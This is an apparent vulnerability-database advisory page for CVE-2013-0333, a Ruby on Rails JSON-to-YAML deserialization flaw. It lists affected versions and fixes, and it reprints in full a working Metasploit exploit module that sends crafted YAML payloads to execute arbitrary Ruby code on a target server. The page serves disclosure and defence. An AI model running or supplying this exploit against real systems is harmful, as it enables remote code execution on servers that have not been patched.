CVE-2013-0333

high
Published 2013-01-28 ยท Modified 2024-11-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
8.5

Description

lib/active_support/json/backends/yaml.rb in Ruby on Rails 2.3.x before 2.3.16 and 3.0.x before 3.0.20 does not properly convert JSON data to YAML data for processing by a YAML parser, which allows remote attackers to execute arbitrary code, conduct SQL injection attacks, or bypass authentication via crafted data that triggers unsafe decoding, a different vulnerability than CVE-2013-0156.

Predictions

Exploit likelihood
55%
Patch ETA
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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-24434 remote multiple verified ruby ยท 4 KB
Metasploit ยท 2013-01-29

Ruby on Rails - JSON Processor YAML Deserialization Code Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::CmdStagerTFTP
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution',
			'Description'    => %q{
					This module exploits a remote code execution vulnerability in the
				JSON request processor of the Ruby on Rails application framework.
				This vulnerability allows an attacker to instantiate a remote object,
				which in turn can be used to execute any ruby code remotely in the
				context of the application. This vulnerability is very similar to
				CVE-2013-0156.

				This module has been tested successfully on RoR 3.0.9, 3.0.19, and
				2.3.15.

				The technique used by this module requires the target to be running a
				fairly recent version of Ruby 1.9 (since 2011 or so). Applications
				using Ruby 1.8 may still be exploitable using the init_with() method,
				but this has not been demonstrated.

			},
			'Author'         =>
				[
					'jjarmoc',  # Initial module based on cve-2013-0156, testing help
					'egypt',    # Module
					'lian',     # Identified the RouteSet::NamedRouteCollection vector
				],
			'License'        => MSF_LICENSE,
			'References'  =>
				[
					['CVE', '2013-0333'],
				],
			'Platform'       => 'ruby',
			'Arch'           => ARCH_RUBY,
			'Privileged'     => false,
			'Targets'        =>	[ ['Automatic', {} ] ],
			'DisclosureDate' => 'Jan 28 2013',
			'DefaultOptions' => { "PrependFork" => true },
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(80),
				OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
				OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])

			], self.class)

	end

	#
	# Create the YAML document that will be embedded into the JSON
	#
	def build_yaml_rails2

		code = Rex::Text.encode_base64(payload.encoded)
		yaml =
			"--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
			"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
			"eval(%[#{code}].unpack(%[m0])[0]);' " +
			": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n   " +
			":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n     :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
			":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
		yaml.gsub(':', '\u003a')
	end


	#
	# Create the YAML document that will be embedded into the JSON
	#
	def build_yaml_rails3

		code = Rex::Text.encode_base64(payload.encoded)
		yaml =
			"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
			"'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
			": !ruby/object:OpenStruct\n table:\n  :defaults: {}\n"
		yaml.gsub(':', '\u003a')
	end

	def build_request(v)
		case v
		when 2; build_yaml_rails2
		when 3; build_yaml_rails3
		end
	end

	#
	# Send the actual request
	#
	def exploit

		[2, 3].each do |ver|
			print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...")
			send_request_cgi({
				'uri'     => normalize_uri(target_uri.path),
				'method'  => datastore['HTTP_METHOD'],
				'ctype'   => 'application/json',
				'headers' => { 'X-HTTP-Method-Override' => 'get' },
				'data'    => build_request(ver)
			}, 25)
			handler
		end

	end
end

Metasploit modules

Ruby on Rails JSON Processor YAML Deserialization Scanner
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Ruby on Rails JSON Processor YAML Deserialization Code Execution
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OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 2.3.14.1
sid Fixed 2.3.14.1
forky Fixed 2.3.14.1
bullseye Fixed 2.3.14.1
bookworm Fixed 2.3.14.1

Package impact

EcosystemPackageVulnerableFixed
ruby RubyGemsactivesupport<~> 2.3.16~> 2.3.16
ruby RubyGemsactivesupport>=2.3.2,<2.3.162.3.16
ruby RubyGemsactivesupport>=3.0.0,<3.0.203.0.20

Application impact

VendorProductVersionsFixed
rubyonrailsrails2.3.0
rubyonrailsrails2.3.1
rubyonrailsrails2.3.2
rubyonrailsrails2.3.3
rubyonrailsrails2.3.4
rubyonrailsrails2.3.9
rubyonrailsrails2.3.10
rubyonrailsrails2.3.11
rubyonrailsrails2.3.12
rubyonrailsrails2.3.13
rubyonrailsrails2.3.14
rubyonrailsrails2.3.15
rubyonrailsrails3.0.0
rubyonrailsrails3.0.1
rubyonrailsrails3.0.2
rubyonrailsrails3.0.3
rubyonrailsrails3.0.4
rubyonrailsrails3.0.5
rubyonrailsrails3.0.6
rubyonrailsrails3.0.7
rubyonrailsrails3.0.8
rubyonrailsrails3.0.9
rubyonrailsrails3.0.10
rubyonrailsrails3.0.11
rubyonrailsrails3.0.12
rubyonrailsrails3.0.13
rubyonrailsrails3.0.14
rubyonrailsrails3.0.16
rubyonrailsrails3.0.17
rubyonrailsrails3.0.18
rubyonrailsrails3.0.19
rubyonrailsruby_on_rails3.0.4

References

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